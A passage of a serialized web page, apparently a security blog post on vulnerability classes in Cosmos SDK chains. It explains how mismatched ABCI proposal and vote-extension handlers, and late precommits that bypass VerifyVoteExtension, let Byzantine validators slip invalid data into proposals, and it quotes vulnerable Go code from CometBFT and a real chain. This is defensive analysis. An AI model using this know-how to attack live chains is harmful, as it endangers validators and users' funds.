...\n",{"type":24,"tag":90,"props":84835,"children":84836},{"class":92,"line":258},[84837,84841,84845,84849,84853,84857,84861],{"type":24,"tag":90,"props":84838,"children":84839},{"style":636},[84840],{"type":29,"value":2298},{"type":24,"tag":90,"props":84842,"children":84843},{"style":136},[84844],{"type":29,"value":83086},{"type":24,"tag":90,"props":84846,"children":84847},{"style":114},[84848],{"type":29,"value":226},{"type":24,"tag":90,"props":84850,"children":84851},{"style":108},[84852],{"type":29,"value":83489},{"type":24,"tag":90,"props":84854,"children":84855},{"style":114},[84856],{"type":29,"value":117},{"type":24,"tag":90,"props":84858,"children":84859},{"style":136},[84860],{"type":29,"value":84772},{"type":24,"tag":90,"props":84862,"children":84863},{"style":114},[84864],{"type":29,"value":1297},{"type":24,"tag":90,"props":84866,"children":84867},{"class":92,"line":272},[84868,84872,84877,84881,84885,84889,84893,84897,84902,84906,84911,84915,84919],{"type":24,"tag":90,"props":84869,"children":84870},{"style":636},[84871],{"type":29,"value":41015},{"type":24,"tag":90,"props":84873,"children":84874},{"style":136},[84875],{"type":29,"value":84876}," errorsmod",{"type":24,"tag":90,"props":84878,"children":84879},{"style":114},[84880],{"type":29,"value":226},{"type":24,"tag":90,"props":84882,"children":84883},{"style":108},[84884],{"type":29,"value":82740},{"type":24,"tag":90,"props":84886,"children":84887},{"style":114},[84888],{"type":29,"value":117},{"type":24,"tag":90,"props":84890,"children":84891},{"style":136},[84892],{"type":29,"value":82402},{"type":24,"tag":90,"props":84894,"children":84895},{"style":114},[84896],{"type":29,"value":226},{"type":24,"tag":90,"props":84898,"children":84899},{"style":136},[84900],{"type":29,"value":84901},"ErrUnauthorized",{"type":24,"tag":90,"props":84903,"children":84904},{"style":114},[84905],{"type":29,"value":133},{"type":24,"tag":90,"props":84907,"children":84908},{"style":1085},[84909],{"type":29,"value":84910},"\"%s is not allowed to receive funds\"",{"type":24,"tag":90,"props":84912,"children":84913},{"style":114},[84914],{"type":29,"value":133},{"type":24,"tag":90,"props":84916,"children":84917},{"style":136},[84918],{"type":29,"value":84772},{"type":24,"tag":90,"props":84920,"children":84921},{"style":114},[84922],{"type":29,"value":1686},{"type":24,"tag":90,"props":84924,"children":84925},{"class":92,"line":281},[84926],{"type":24,"tag":90,"props":84927,"children":84928},{"style":114},[84929],{"type":29,"value":11967},{"type":24,"tag":90,"props":84931,"children":84932},{"class":92,"line":384},[84933],{"type":24,"tag":90,"props":84934,"children":84935},{"style":120},[84936],{"type":29,"value":84833},{"type":24,"tag":90,"props":84938,"children":84939},{"class":92,"line":420},[84940],{"type":24,"tag":90,"props":84941,"children":84942},{"style":114},[84943],{"type":29,"value":827},{"type":24,"tag":25,"props":84945,"children":84946},{},[84947,84949,84956],{"type":29,"value":84948},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":69,"props":84950,"children":84953},{"href":84951,"rel":84952},"https://hackerone.com/reports/3018307",[73],[84954],{"type":29,"value":84955},"improper decimal handling in the group module",{"type":29,"value":226},{"type":24,"tag":850,"props":84958,"children":84960},{"id":84959},"same-same-but-different",[84961],{"type":29,"value":84962},"Same, Same... But Different",{"type":24,"tag":25,"props":84964,"children":84965},{},[84966,84968,84974,84975,84981,84982,84988,84989,84995],{"type":29,"value":84967},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":32,"props":84969,"children":84971},{"className":84970},[],[84972],{"type":29,"value":84973},"PrepareProposal",{"type":29,"value":133},{"type":24,"tag":32,"props":84976,"children":84978},{"className":84977},[],[84979],{"type":29,"value":84980},"ProcessProposal",{"type":29,"value":133},{"type":24,"tag":32,"props":84983,"children":84985},{"className":84984},[],[84986],{"type":29,"value":84987},"ExtendVote",{"type":29,"value":8872},{"type":24,"tag":32,"props":84990,"children":84992},{"className":84991},[],[84993],{"type":29,"value":84994},"VerifyVoteExtension",{"type":29,"value":84996},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":84998,"children":84999},{},[85000],{"type":29,"value":85001},"Two of the best-known attack surfaces are",{"type":24,"tag":3100,"props":85003,"children":85004},{},[85005,85034],{"type":24,"tag":3104,"props":85006,"children":85007},{},[85008,85013,85014,85019,85021,85026,85027,85032],{"type":24,"tag":32,"props":85009,"children":85011},{"className":85010},[],[85012],{"type":29,"value":84973},{"type":29,"value":1151},{"type":24,"tag":32,"props":85015,"children":85017},{"className":85016},[],[85018],{"type":29,"value":84987},{"type":29,"value":85020},") outputs being rejected due to ",{"type":24,"tag":32,"props":85022,"children":85024},{"className":85023},[],[85025],{"type":29,"value":84980},{"type":29,"value":1151},{"type":24,"tag":32,"props":85028,"children":85030},{"className":85029},[],[85031],{"type":29,"value":84994},{"type":29,"value":85033},") over-validating, resulting in liveness failures.",{"type":24,"tag":3104,"props":85035,"children":85036},{},[85037,85039,85044,85045,85050,85052,85057,85058,85063],{"type":29,"value":85038},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":32,"props":85040,"children":85042},{"className":85041},[],[85043],{"type":29,"value":84973},{"type":29,"value":1151},{"type":24,"tag":32,"props":85046,"children":85048},{"className":85047},[],[85049],{"type":29,"value":84987},{"type":29,"value":85051},") are accepted due to ",{"type":24,"tag":32,"props":85053,"children":85055},{"className":85054},[],[85056],{"type":29,"value":84980},{"type":29,"value":1151},{"type":24,"tag":32,"props":85059,"children":85061},{"className":85060},[],[85062],{"type":29,"value":84994},{"type":29,"value":85064},") under-validating.",{"type":24,"tag":25,"props":85066,"children":85067},{},[85068],{"type":29,"value":85069},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":85071,"children":85072},{},[85073,85075,85081,85083,85088],{"type":29,"value":85074},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":32,"props":85076,"children":85078},{"className":85077},[],[85079],{"type":29,"value":85080},"VoteExtensions",{"type":29,"value":85082}," within ",{"type":24,"tag":32,"props":85084,"children":85086},{"className":85085},[],[85087],{"type":29,"value":84973},{"type":29,"value":85089},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":85091,"children":85092},{},[85093,85095,85100,85102,85107],{"type":29,"value":85094},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":32,"props":85096,"children":85098},{"className":85097},[],[85099],{"type":29,"value":84987},{"type":29,"value":85101}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":32,"props":85103,"children":85105},{"className":85104},[],[85106],{"type":29,"value":84994},{"type":29,"value":85108},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":85110,"children":85111},{},[85112,85114,85119],{"type":29,"value":85113},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":32,"props":85115,"children":85117},{"className":85116},[],[85118],{"type":29,"value":84994},{"type":29,"value":85120}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":85122,"children":85123},{},[85124,85126,85131,85133,85139],{"type":29,"value":85125},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":32,"props":85127,"children":85129},{"className":85128},[],[85130],{"type":29,"value":84994},{"type":29,"value":85132},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":32,"props":85134,"children":85136},{"className":85135},[],[85137],{"type":29,"value":85138},"Proposal",{"type":29,"value":226},{"type":24,"tag":80,"props":85141,"children":85143},{"code":85142,"language":77994,"meta":7,"className":77995,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[85144],{"type":24,"tag":32,"props":85145,"children":85146},{"__ignoreMap":7},[85147,85259,85266,85273,85281,85289,85373,85380,85388,85442,85449,85470,85477,85549,85565,85572,85646,85702,85709,85771,85778,85785,85804,85811,85818,85825],{"type":24,"tag":90,"props":85148,"children":85149},{"class":92,"line":93},[85150,85154,85158,85163,85167,85172,85176,85181,85185,85190,85194,85198,85202,85207,85211,85216,85221,85225,85230,85234,85239,85243,85247,85251,85255],{"type":24,"tag":90,"props":85151,"children":85152},{"style":97},[85153],{"type":29,"value":78130},{"type":24,"tag":90,"props":85155,"children":85156},{"style":114},[85157],{"type":29,"value":1151},{"type":24,"tag":90,"props":85159,"children":85160},{"style":136},[85161],{"type":29,"value":85162},"cs ",{"type":24,"tag":90,"props":85164,"children":85165},{"style":120},[85166],{"type":29,"value":983},{"type":24,"tag":90,"props":85168,"children":85169},{"style":146},[85170],{"type":29,"value":85171},"State",{"type":24,"tag":90,"props":85173,"children":85174},{"style":114},[85175],{"type":29,"value":172},{"type":24,"tag":90,"props":85177,"children":85178},{"style":108},[85179],{"type":29,"value":85180},"addVote",{"type":24,"tag":90,"props":85182,"children":85183},{"style":114},[85184],{"type":29,"value":117},{"type":24,"tag":90,"props":85186,"children":85187},{"style":136},[85188],{"type":29,"value":85189},"vote",{"type":24,"tag":90,"props":85191,"children":85192},{"style":120},[85193],{"type":29,"value":366},{"type":24,"tag":90,"props":85195,"children":85196},{"style":146},[85197],{"type":29,"value":8145},{"type":24,"tag":90,"props":85199,"children":85200},{"style":114},[85201],{"type":29,"value":226},{"type":24,"tag":90,"props":85203,"children":85204},{"style":146},[85205],{"type":29,"value":85206},"Vote",{"type":24,"tag":90,"props":85208,"children":85209},{"style":114},[85210],{"type":29,"value":133},{"type":24,"tag":90,"props":85212,"children":85213},{"style":136},[85214],{"type":29,"value":85215},"peerID",{"type":24,"tag":90,"props":85217,"children":85218},{"style":146},[85219],{"type":29,"value":85220}," p2p",{"type":24,"tag":90,"props":85222,"children":85223},{"style":114},[85224],{"type":29,"value":226},{"type":24,"tag":90,"props":85226,"children":85227},{"style":146},[85228],{"type":29,"value":85229},"ID",{"type":24,"tag":90,"props":85231,"children":85232},{"style":114},[85233],{"type":29,"value":78212},{"type":24,"tag":90,"props":85235,"children":85236},{"style":136},[85237],{"type":29,"value":85238},"added",{"type":24,"tag":90,"props":85240,"children":85241},{"style":146},[85242],{"type":29,"value":167},{"type":24,"tag":90,"props":85244,"children":85245},{"style":114},[85246],{"type":29,"value":133},{"type":24,"tag":90,"props":85248,"children":85249},{"style":136},[85250],{"type":29,"value":50243},{"type":24,"tag":90,"props":85252,"children":85253},{"style":146},[85254],{"type":29,"value":1370},{"type":24,"tag":90,"props":85256,"children":85257},{"style":114},[85258],{"type":29,"value":1297},{"type":24,"tag":90,"props":85260,"children":85261},{"class":92,"line":200},[85262],{"type":24,"tag":90,"props":85263,"children":85264},{"style":120},[85265],{"type":29,"value":22135},{"type":24,"tag":90,"props":85267,"children":85268},{"class":92,"line":239},[85269],{"type":24,"tag":90,"props":85270,"children":85271},{"emptyLinePlaceholder":16},[85272],{"type":29,"value":245},{"type":24,"tag":90,"props":85274,"children":85275},{"class":92,"line":248},[85276],{"type":24,"tag":90,"props":85277,"children":85278},{"style":252},[85279],{"type":29,"value":85280}," // A precommit for the previous height?\n",{"type":24,"tag":90,"props":85282,"children":85283},{"class":92,"line":258},[85284],{"type":24,"tag":90,"props":85285,"children":85286},{"style":252},[85287],{"type":29,"value":85288}," // These come in while we wait timeoutCommit\n",{"type":24,"tag":90,"props":85290,"children":85291},{"class":92,"line":272},[85292,85296,85301,85305,85310,85314,85318,85322,85327,85331,85335,85339,85343,85347,85352,85356,85360,85364,85369],{"type":24,"tag":90,"props":85293,"children":85294},{"style":636},[85295],{"type":29,"value":639},{"type":24,"tag":90,"props":85297,"children":85298},{"style":136},[85299],{"type":29,"value":85300}," vote",{"type":24,"tag":90,"props":85302,"children":85303},{"style":114},[85304],{"type":29,"value":226},{"type":24,"tag":90,"props":85306,"children":85307},{"style":136},[85308],{"type":29,"value":85309},"Height",{"type":24,"tag":90,"props":85311,"children":85312},{"style":120},[85313],{"type":29,"value":6767},{"type":24,"tag":90,"props":85315,"children":85316},{"style":349},[85317],{"type":29,"value":534},{"type":24,"tag":90,"props":85319,"children":85320},{"style":120},[85321],{"type":29,"value":2102},{"type":24,"tag":90,"props":85323,"children":85324},{"style":136},[85325],{"type":29,"value":85326}," cs",{"type":24,"tag":90,"props":85328,"children":85329},{"style":114},[85330],{"type":29,"value":226},{"type":24,"tag":90,"props":85332,"children":85333},{"style":136},[85334],{"type":29,"value":85309},{"type":24,"tag":90,"props":85336,"children":85337},{"style":120},[85338],{"type":29,"value":649},{"type":24,"tag":90,"props":85340,"children":85341},{"style":136},[85342],{"type":29,"value":85300},{"type":24,"tag":90,"props":85344,"children":85345},{"style":114},[85346],{"type":29,"value":226},{"type":24,"tag":90,"props":85348,"children":85349},{"style":136},[85350],{"type":29,"value":85351},"Type",{"type":24,"tag":90,"props":85353,"children":85354},{"style":120},[85355],{"type":29,"value":2102},{"type":24,"tag":90,"props":85357,"children":85358},{"style":136},[85359],{"type":29,"value":80005},{"type":24,"tag":90,"props":85361,"children":85362},{"style":114},[85363],{"type":29,"value":226},{"type":24,"tag":90,"props":85365,"children":85366},{"style":136},[85367],{"type":29,"value":85368},"PrecommitType",{"type":24,"tag":90,"props":85370,"children":85371},{"style":114},[85372],{"type":29,"value":269},{"type":24,"tag":90,"props":85374,"children":85375},{"class":92,"line":281},[85376],{"type":24,"tag":90,"props":85377,"children":85378},{"style":120},[85379],{"type":29,"value":83672},{"type":24,"tag":90,"props":85381,"children":85382},{"class":92,"line":384},[85383],{"type":24,"tag":90,"props":85384,"children":85385},{"style":252},[85386],{"type":29,"value":85387}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":90,"props":85389,"children":85390},{"class":92,"line":420},[85391,85396,85400,85404,85408,85412,85416,85421,85425,85430,85434,85438],{"type":24,"tag":90,"props":85392,"children":85393},{"style":136},[85394],{"type":29,"value":85395}," added",{"type":24,"tag":90,"props":85397,"children":85398},{"style":114},[85399],{"type":29,"value":133},{"type":24,"tag":90,"props":85401,"children":85402},{"style":136},[85403],{"type":29,"value":50243},{"type":24,"tag":90,"props":85405,"children":85406},{"style":120},[85407],{"type":29,"value":216},{"type":24,"tag":90,"props":85409,"children":85410},{"style":136},[85411],{"type":29,"value":85326},{"type":24,"tag":90,"props":85413,"children":85414},{"style":114},[85415],{"type":29,"value":226},{"type":24,"tag":90,"props":85417,"children":85418},{"style":136},[85419],{"type":29,"value":85420},"LastCommit",{"type":24,"tag":90,"props":85422,"children":85423},{"style":114},[85424],{"type":29,"value":226},{"type":24,"tag":90,"props":85426,"children":85427},{"style":108},[85428],{"type":29,"value":85429},"AddVote",{"type":24,"tag":90,"props":85431,"children":85432},{"style":114},[85433],{"type":29,"value":117},{"type":24,"tag":90,"props":85435,"children":85436},{"style":136},[85437],{"type":29,"value":85189},{"type":24,"tag":90,"props":85439,"children":85440},{"style":114},[85441],{"type":29,"value":1686},{"type":24,"tag":90,"props":85443,"children":85444},{"class":92,"line":428},[85445],{"type":24,"tag":90,"props":85446,"children":85447},{"style":120},[85448],{"type":29,"value":83672},{"type":24,"tag":90,"props":85450,"children":85451},{"class":92,"line":437},[85452,85456,85461,85465],{"type":24,"tag":90,"props":85453,"children":85454},{"style":636},[85455],{"type":29,"value":2253},{"type":24,"tag":90,"props":85457,"children":85458},{"style":136},[85459],{"type":29,"value":85460}," added",{"type":24,"tag":90,"props":85462,"children":85463},{"style":114},[85464],{"type":29,"value":133},{"type":24,"tag":90,"props":85466,"children":85467},{"style":136},[85468],{"type":29,"value":85469},"err\n",{"type":24,"tag":90,"props":85471,"children":85472},{"class":92,"line":574},[85473],{"type":24,"tag":90,"props":85474,"children":85475},{"style":114},[85476],{"type":29,"value":612},{"type":24,"tag":90,"props":85478,"children":85479},{"class":92,"line":606},[85480,85485,85489,85493,85497,85502,85506,85511,85515,85520,85524,85529,85533,85537,85541,85545],{"type":24,"tag":90,"props":85481,"children":85482},{"style":136},[85483],{"type":29,"value":85484}," extEnabled",{"type":24,"tag":90,"props":85486,"children":85487},{"style":120},[85488],{"type":29,"value":78246},{"type":24,"tag":90,"props":85490,"children":85491},{"style":136},[85492],{"type":29,"value":85326},{"type":24,"tag":90,"props":85494,"children":85495},{"style":114},[85496],{"type":29,"value":226},{"type":24,"tag":90,"props":85498,"children":85499},{"style":136},[85500],{"type":29,"value":85501},"state",{"type":24,"tag":90,"props":85503,"children":85504},{"style":114},[85505],{"type":29,"value":226},{"type":24,"tag":90,"props":85507,"children":85508},{"style":136},[85509],{"type":29,"value":85510},"ConsensusParams",{"type":24,"tag":90,"props":85512,"children":85513},{"style":114},[85514],{"type":29,"value":226},{"type":24,"tag":90,"props":85516,"children":85517},{"style":136},[85518],{"type":29,"value":85519},"Feature",{"type":24,"tag":90,"props":85521,"children":85522},{"style":114},[85523],{"type":29,"value":226},{"type":24,"tag":90,"props":85525,"children":85526},{"style":108},[85527],{"type":29,"value":85528},"VoteExtensionsEnabled",{"type":24,"tag":90,"props":85530,"children":85531},{"style":114},[85532],{"type":29,"value":117},{"type":24,"tag":90,"props":85534,"children":85535},{"style":136},[85536],{"type":29,"value":85189},{"type":24,"tag":90,"props":85538,"children":85539},{"style":114},[85540],{"type":29,"value":226},{"type":24,"tag":90,"props":85542,"children":85543},{"style":136},[85544],{"type":29,"value":85309},{"type":24,"tag":90,"props":85546,"children":85547},{"style":114},[85548],{"type":29,"value":1686},{"type":24,"tag":90,"props":85550,"children":85551},{"class":92,"line":615},[85552,85556,85561],{"type":24,"tag":90,"props":85553,"children":85554},{"style":636},[85555],{"type":29,"value":639},{"type":24,"tag":90,"props":85557,"children":85558},{"style":136},[85559],{"type":29,"value":85560}," extEnabled",{"type":24,"tag":90,"props":85562,"children":85563},{"style":114},[85564],{"type":29,"value":269},{"type":24,"tag":90,"props":85566,"children":85567},{"class":92,"line":623},[85568],{"type":24,"tag":90,"props":85569,"children":85570},{"style":120},[85571],{"type":29,"value":83672},{"type":24,"tag":90,"props":85573,"children":85574},{"class":92,"line":632},[85575,85579,85583,85587,85591,85595,85599,85603,85607,85611,85615,85619,85623,85628,85632,85637,85641],{"type":24,"tag":90,"props":85576,"children":85577},{"style":636},[85578],{"type":29,"value":5667},{"type":24,"tag":90,"props":85580,"children":85581},{"style":136},[85582],{"type":29,"value":85300},{"type":24,"tag":90,"props":85584,"children":85585},{"style":114},[85586],{"type":29,"value":226},{"type":24,"tag":90,"props":85588,"children":85589},{"style":136},[85590],{"type":29,"value":85351},{"type":24,"tag":90,"props":85592,"children":85593},{"style":120},[85594],{"type":29,"value":2102},{"type":24,"tag":90,"props":85596,"children":85597},{"style":136},[85598],{"type":29,"value":80005},{"type":24,"tag":90,"props":85600,"children":85601},{"style":114},[85602],{"type":29,"value":226},{"type":24,"tag":90,"props":85604,"children":85605},{"style":136},[85606],{"type":29,"value":85368},{"type":24,"tag":90,"props":85608,"children":85609},{"style":120},[85610],{"type":29,"value":649},{"type":24,"tag":90,"props":85612,"children":85613},{"style":120},[85614],{"type":29,"value":2089},{"type":24,"tag":90,"props":85616,"children":85617},{"style":136},[85618],{"type":29,"value":85189},{"type":24,"tag":90,"props":85620,"children":85621},{"style":114},[85622],{"type":29,"value":226},{"type":24,"tag":90,"props":85624,"children":85625},{"style":136},[85626],{"type":29,"value":85627},"BlockID",{"type":24,"tag":90,"props":85629,"children":85630},{"style":114},[85631],{"type":29,"value":226},{"type":24,"tag":90,"props":85633,"children":85634},{"style":108},[85635],{"type":29,"value":85636},"IsNil",{"type":24,"tag":90,"props":85638,"children":85639},{"style":114},[85640],{"type":29,"value":495},{"type":24,"tag":90,"props":85642,"children":85643},{"style":120},[85644],{"type":29,"value":85645},"&&\n",{"type":24,"tag":90,"props":85647,"children":85648},{"class":92,"line":669},[85649,85654,85659,85663,85667,85671,85675,85679,85684,85688,85693,85697],{"type":24,"tag":90,"props":85650,"children":85651},{"style":120},[85652],{"type":29,"value":85653}," !",{"type":24,"tag":90,"props":85655,"children":85656},{"style":136},[85657],{"type":29,"value":85658},"bytes",{"type":24,"tag":90,"props":85660,"children":85661},{"style":114},[85662],{"type":29,"value":226},{"type":24,"tag":90,"props":85664,"children":85665},{"style":108},[85666],{"type":29,"value":84128},{"type":24,"tag":90,"props":85668,"children":85669},{"style":114},[85670],{"type":29,"value":117},{"type":24,"tag":90,"props":85672,"children":85673},{"style":136},[85674],{"type":29,"value":85189},{"type":24,"tag":90,"props":85676,"children":85677},{"style":114},[85678],{"type":29,"value":226},{"type":24,"tag":90,"props":85680,"children":85681},{"style":136},[85682],{"type":29,"value":85683},"ValidatorAddress",{"type":24,"tag":90,"props":85685,"children":85686},{"style":114},[85687],{"type":29,"value":133},{"type":24,"tag":90,"props":85689,"children":85690},{"style":136},[85691],{"type":29,"value":85692},"myAddr",{"type":24,"tag":90,"props":85694,"children":85695},{"style":114},[85696],{"type":29,"value":25797},{"type":24,"tag":90,"props":85698,"children":85699},{"style":252},[85700],{"type":29,"value":85701},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":24,"tag":90,"props":85703,"children":85704},{"class":92,"line":683},[85705],{"type":24,"tag":90,"props":85706,"children":85707},{"style":120},[85708],{"type":29,"value":84348},{"type":24,"tag":90,"props":85710,"children":85711},{"class":92,"line":737},[85712,85716,85720,85724,85728,85733,85737,85741,85745,85750,85754,85759,85763,85767],{"type":24,"tag":90,"props":85713,"children":85714},{"style":136},[85715],{"type":29,"value":84166},{"type":24,"tag":90,"props":85717,"children":85718},{"style":120},[85719],{"type":29,"value":78246},{"type":24,"tag":90,"props":85721,"children":85722},{"style":136},[85723],{"type":29,"value":85326},{"type":24,"tag":90,"props":85725,"children":85726},{"style":114},[85727],{"type":29,"value":226},{"type":24,"tag":90,"props":85729,"children":85730},{"style":136},[85731],{"type":29,"value":85732},"blockExec",{"type":24,"tag":90,"props":85734,"children":85735},{"style":114},[85736],{"type":29,"value":226},{"type":24,"tag":90,"props":85738,"children":85739},{"style":108},[85740],{"type":29,"value":84994},{"type":24,"tag":90,"props":85742,"children":85743},{"style":114},[85744],{"type":29,"value":117},{"type":24,"tag":90,"props":85746,"children":85747},{"style":136},[85748],{"type":29,"value":85749},"context",{"type":24,"tag":90,"props":85751,"children":85752},{"style":114},[85753],{"type":29,"value":226},{"type":24,"tag":90,"props":85755,"children":85756},{"style":108},[85757],{"type":29,"value":85758},"TODO",{"type":24,"tag":90,"props":85760,"children":85761},{"style":114},[85762],{"type":29,"value":4900},{"type":24,"tag":90,"props":85764,"children":85765},{"style":136},[85766],{"type":29,"value":85189},{"type":24,"tag":90,"props":85768,"children":85769},{"style":114},[85770],{"type":29,"value":1686},{"type":24,"tag":90,"props":85772,"children":85773},{"class":92,"line":751},[85774],{"type":24,"tag":90,"props":85775,"children":85776},{"style":120},[85777],{"type":29,"value":84348},{"type":24,"tag":90,"props":85779,"children":85780},{"class":92,"line":782},[85781],{"type":24,"tag":90,"props":85782,"children":85783},{"style":114},[85784],{"type":29,"value":5740},{"type":24,"tag":90,"props":85786,"children":85787},{"class":92,"line":791},[85788,85792,85796,85800],{"type":24,"tag":90,"props":85789,"children":85790},{"style":114},[85791],{"type":29,"value":2288},{"type":24,"tag":90,"props":85793,"children":85794},{"style":636},[85795],{"type":29,"value":2293},{"type":24,"tag":90,"props":85797,"children":85798},{"style":636},[85799],{"type":29,"value":2298},{"type":24,"tag":90,"props":85801,"children":85802},{"style":114},[85803],{"type":29,"value":269},{"type":24,"tag":90,"props":85805,"children":85806},{"class":92,"line":799},[85807],{"type":24,"tag":90,"props":85808,"children":85809},{"style":120},[85810],{"type":29,"value":83672},{"type":24,"tag":90,"props":85812,"children":85813},{"class":92,"line":807},[85814],{"type":24,"tag":90,"props":85815,"children":85816},{"style":114},[85817],{"type":29,"value":612},{"type":24,"tag":90,"props":85819,"children":85820},{"class":92,"line":821},[85821],{"type":24,"tag":90,"props":85822,"children":85823},{"style":120},[85824],{"type":29,"value":22135},{"type":24,"tag":90,"props":85826,"children":85827},{"class":92,"line":6278},[85828],{"type":24,"tag":90,"props":85829,"children":85830},{"style":114},[85831],{"type":29,"value":827},{"type":24,"tag":25,"props":85833,"children":85834},{},[85835],{"type":29,"value":85836},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":24,"tag":1019,"props":85838,"children":85840},{"id":85839},"real-world-examples-4",[85841],{"type":29,"value":78519},{"type":24,"tag":25,"props":85843,"children":85844},{},[85845,85847,85852,85854,85860,85862,85868],{"type":29,"value":85846},"An example of the bug we just described is shown here. ",{"type":24,"tag":32,"props":85848,"children":85850},{"className":85849},[],[85851],{"type":29,"value":84973},{"type":29,"value":85853}," only checks that each vote is properly signed by a validator in ",{"type":24,"tag":32,"props":85855,"children":85857},{"className":85856},[],[85858],{"type":29,"value":85859},"ValidateVoteExtension",{"type":29,"value":85861}," but does not verify it against the rules in ",{"type":24,"tag":32,"props":85863,"children":85865},{"className":85864},[],[85866],{"type":29,"value":85867},"VerifyVoteExtention.",{"type":29,"value":85869}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":24,"tag":25,"props":85871,"children":85872},{},[85873],{"type":24,"tag":69,"props":85874,"children":85877},{"href":85875,"rel":85876},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[73],[85878],{"type":29,"value":78569},{"type":24,"tag":80,"props":85880,"children":85882},{"code":85881,"language":77994,"meta":7,"className":77995,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[85883],{"type":24,"tag":32,"props":85884,"children":85885},{"__ignoreMap":7},[85886,85940,86031,86038,86059,86126,86134,86239,86262,86281,86288,86342,86365,86420,86439,86446,86453,86460,86514,86521,86547,86570,86622,86684,86691,86718,86738,86750,86757],{"type":24,"tag":90,"props":85887,"children":85888},{"class":92,"line":93},[85889,85893,85897,85902,85906,85911,85915,85920,85924,85928,85932,85936],{"type":24,"tag":90,"props":85890,"children":85891},{"style":97},[85892],{"type":29,"value":78130},{"type":24,"tag":90,"props":85894,"children":85895},{"style":114},[85896],{"type":29,"value":1151},{"type":24,"tag":90,"props":85898,"children":85899},{"style":136},[85900],{"type":29,"value":85901},"h ",{"type":24,"tag":90,"props":85903,"children":85904},{"style":120},[85905],{"type":29,"value":983},{"type":24,"tag":90,"props":85907,"children":85908},{"style":146},[85909],{"type":29,"value":85910},"Handlers",{"type":24,"tag":90,"props":85912,"children":85913},{"style":114},[85914],{"type":29,"value":172},{"type":24,"tag":90,"props":85916,"children":85917},{"style":108},[85918],{"type":29,"value":85919},"PrepareProposalHandler",{"type":24,"tag":90,"props":85921,"children":85922},{"style":114},[85923],{"type":29,"value":495},{"type":24,"tag":90,"props":85925,"children":85926},{"style":146},[85927],{"type":29,"value":80560},{"type":24,"tag":90,"props":85929,"children":85930},{"style":114},[85931],{"type":29,"value":226},{"type":24,"tag":90,"props":85933,"children":85934},{"style":146},[85935],{"type":29,"value":85919},{"type":24,"tag":90,"props":85937,"children":85938},{"style":114},[85939],{"type":29,"value":269},{"type":24,"tag":90,"props":85941,"children":85942},{"class":92,"line":200},[85943,85947,85951,85955,85959,85963,85967,85971,85975,85980,85984,85989,85993,85998,86002,86006,86010,86014,86019,86023,86027],{"type":24,"tag":90,"props":85944,"children":85945},{"style":636},[85946],{"type":29,"value":3510},{"type":24,"tag":90,"props":85948,"children":85949},{"style":97},[85950],{"type":29,"value":81839},{"type":24,"tag":90,"props":85952,"children":85953},{"style":114},[85954],{"type":29,"value":117},{"type":24,"tag":90,"props":85956,"children":85957},{"style":136},[85958],{"type":29,"value":22076},{"type":24,"tag":90,"props":85960,"children":85961},{"style":146},[85962],{"type":29,"value":80471},{"type":24,"tag":90,"props":85964,"children":85965},{"style":114},[85966],{"type":29,"value":226},{"type":24,"tag":90,"props":85968,"children":85969},{"style":146},[85970],{"type":29,"value":78179},{"type":24,"tag":90,